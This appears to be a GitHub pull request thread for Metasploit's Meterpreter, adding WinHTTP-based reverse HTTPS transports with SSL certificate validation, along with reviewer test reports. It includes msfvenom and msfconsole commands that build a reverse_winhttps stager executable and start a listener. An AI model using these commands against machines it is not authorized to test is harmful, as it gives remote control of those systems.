Closed OJ closed 9 years ago
Test PASSED. Refer to this link for build results (access rights to CI server needed): https://ci.metasploit.com//job/GPR-MeterpreterWin/160/ Test PASSED.
This looks pretty solid here from a diff point of view, but could use some help from @bcook-r7 to verify it.
Test PASSED. Refer to this link for build results (access rights to CI server needed): https://ci.metasploit.com//job/GPR-MeterpreterWin/161/ Test PASSED.
Test PASSED. Refer to this link for build results (access rights to CI server needed): https://ci.metasploit.com//job/GPR-MeterpreterWin/162/ Test PASSED.
Taking a look now.
So, to make sure I comprehend this correctly, just metsrv switches to a Unicode build, the extensions stay as multi byte.
These worked without a hitch: windows/meterpreter/reverse_tcp windows/meterpreter/reverse_http windows/meterpreter/reverse_https windows/meterpreter/reverse_winhttp windows/meterpreter/reverse_winhttps windows/x64/meterpreter/reverse_https windows/x64/meterpreter/reverse_tcp
POSIX looks good still :) The bind stagers are fine as well.
stageless variants are good as well
Correct, I didn't change the project setting to Unicode for any other project except metsrv. I'll probably do that as a separate PR rather than pollute this one. It just felt like doing it for metsrv now for with this PR. From memory, kiwi and mimikatz already are Unicode.
I'll be online shortly, let me know if you are still seeing issues with x64.
No, x64 is fine. It was just that x64 reverse_tcp appears to exit a little more quickly than the others if the handler is not running when it starts, which lead to some connection failures.
Phew!
Hmm, having trouble with this one: Stager generated like so:
./msfvenom -p windows/meterpreter/reverse_winhttps HandlerSSLCert=./correct.pem StagerVerifySSLCert=true -f exe -o mytest/verify-https.exe
Running console twice like this:
./msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_winhttps; set LHOST 192.168.56.1; set HandlerSSLCert correct.pem; set StagerVerifySSLCert true; set ExitOnSession false; run -j'
I'm seeing connect on the first run, then nothing on the second console run. Should I have seen a reconnect of an orphaned session?
This does not a happy OJ make! Investigating now.
The staged verifiers work well once I got framework synced properly with the bins. Things are too robust!
I should have mentioned this in the original PR, sorry! Binaries are back-compat in this case, but not forward compat. So:
OK, stageless verifying meterpreters look good too.
Hooray!
Thanks for your efforts @bcook-r7 !
Sorry for the scares - lots of moving parts.
No apologies needed at all :+1:
Overview
This PR implements new reverse_http(s) that works over the WinHTTP API instead of WinINET. The goal was to allow for the support of SSL certificate validation in the same way as @hmoore-r7's approach in the stagers.
This MSF side of this PR can be found here: https://github.com/rapid7/metasploit-framework/pull/4962
The code includes the following changes:
#ifdef
to allow for the swapping between WinHTTP and WinINET. This means that we can go back to the way things were if do happen to have any issues. Longer term, we'll remove the WinINET implementation completely.wchar_t
instead ofchar
. This is due to the fact that the WinHTTP libs need it.metsrv
project so that it builds with UNICODE instead of MULTIBYTE chars. Given that we're heading that way in general and that the APIs for WinHTTP required it, it seemed like a good thing to do.A
equivalence to reduce the impact of moving over to UNICODE. (eg. the use ofLoadLibraryA
instead ofLoadLibrary
).vdprintf
. This has a lot more debug output that I was using for debugging the API calls. This means thatDEBUGTRACE
can be defined as0
for normal debugging output and1
for verbose logging output. As before, if this is commented out, there's no debug output at all.It's worth noting that I had to explicitly prevent precompiled headers for the file that contains the WinHTTP implementation. This is because I was in file include hell and the precompiled headers weren't helping at all. This is a minimal increase in build time and shouldn't matter long term. When we're doing with WinINET we'll be fixing this up anyway. The issue revolves around including both WinINET and WinHTTP headers in the same blocks of code (ie. macro-redefinition hell).
Verification
meterpreter/reverse_tcp
,meterpreter/reverse_https
,meterpreter/reverse_http
,meterpreter/bind_tcp
), stageless payloads (meterpreter_reverse_tcp
,meterpreter_reverse_https
,meterpreter_bind_tcp
) on each arch (Win x86, Win x64, POSIX) should work as they did. Yeah, sorry about that. They do need to be tested. Please don't hate me.StagerVerifySSLCert
andHandlerSSLCert
values with the staged https payload should function the same as the did, as the stager hasn't been changed and the payload won't even get to execute if the SSL certs doesn't match.StagerVerifySSLCert
andHandlerSSLCert
with staged payloads, establish a valid connection, and then terminate MSF and reconfigure it so that it doesn't use a valid certificate. Restart MSF, and the payload should connect as an orphaned shell. At this point, Meterpreter should see that the SSL certificate isn't valid, and bail out.StagerVerifySSLCert
andHandlerSSLCert
with stageless payloads, the payload should function as with the stageless version as far as up-front validation is concerned, and continued validation when the server changes. When the session is killed because of an invalid cert, the process itself should terminate cleanly.Compile the binaries with debugging if you want to see validation happening as it runs.
Sample runs
Stageless Win32 with valid cert:
Stageless Win32 with invalid cert: